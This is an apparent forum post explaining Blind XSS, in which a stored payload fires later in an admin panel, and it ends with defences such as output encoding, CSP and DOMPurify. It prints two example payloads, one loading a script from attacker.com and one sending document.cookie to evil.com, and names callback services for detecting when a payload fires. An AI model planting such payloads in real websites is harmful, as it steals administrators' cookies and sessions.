- by x32x01 ||
👀 What is Blind XSS?
Unlike normal XSS where you see instant results, Blind XSS (Blind Cross-Site Scripting) triggers somewhere else - like in an admin dashboard, internal panel, or logging system - after you send the payload.🧠 Think of it like planting a trap 💣 and waiting for someone (like an admin) to walk into it!
⚔️ How Blind XSS Works?
Let’s say a website has a feedback form:<input type="text" name="message">If this message gets stored and later rendered in an admin panel without sanitization, a payload like this can be dangerous:
<script src="https://attacker.com/x.js"></script>The attacker submits this payload via the form. It doesn’t trigger for them, but when the admin checks the message in their panel... BOOM 💥 script executes and steals data like cookies, tokens, or even full access via keyloggers!
🧪 Example Scenario:
🛡 Victim Website:
example.com📨 Attacker sends feedback:
<script>fetch('https://evil.com?c='+document.cookie)</script>✅ Message is stored.
👨💼 Admin opens dashboard later.
❌ XSS gets triggered silently and cookies are exfiltrated to evil.com.
⏳ Attacker had no visual clue but still succeeded = Blind XSS.
🧰 Tools to Catch Blind XSS
Use these tools to get notified when your payload fires:
🔸
xsshunter.com🔸
ezXSS🔸
bxss.me🔸 Custom webhook + listener (e.g., Burp Collaborator)
🛡 Prevention & Defense 🛡
✅ Always encode output before rendering
✅ Use strong Content Security Policy (CSP)
✅ Filter + sanitize input using libraries like DOMPurify
✅ Implement strict input validation
✅ Don’t trust internal systems blindly - sanitize everywhere!
Use it to make the web safer! 🌐❤️
